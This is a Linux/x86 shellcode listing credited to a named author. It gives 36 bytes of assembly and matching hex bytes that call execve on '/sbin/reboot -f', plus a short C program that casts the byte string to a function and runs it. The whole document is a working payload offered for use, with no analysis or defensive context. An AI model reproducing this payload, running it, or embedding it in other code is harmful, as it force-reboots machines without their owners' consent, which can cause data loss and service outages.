********************************************** * Linux/x86 Force Reboot shellcode 36 bytes * ********************************************** * Author: Hamza Megahed * ********************************************** * Twitter: @Hamza_Mega * ********************************************** * blog: hamza-mega[dot]blogspot[dot]com * ********************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com * ********************************************** xor %eax,%eax push %eax push $0x746f6f62 push $0x65722f6e push $0x6962732f mov %esp,%ebx push %eax pushw $0x662d mov %esp,%esi push %eax push %esi push %ebx mov %esp,%ecx mov $0xb,%al int $0x80 ********************************************** #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e" "\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3" "\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53" "\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }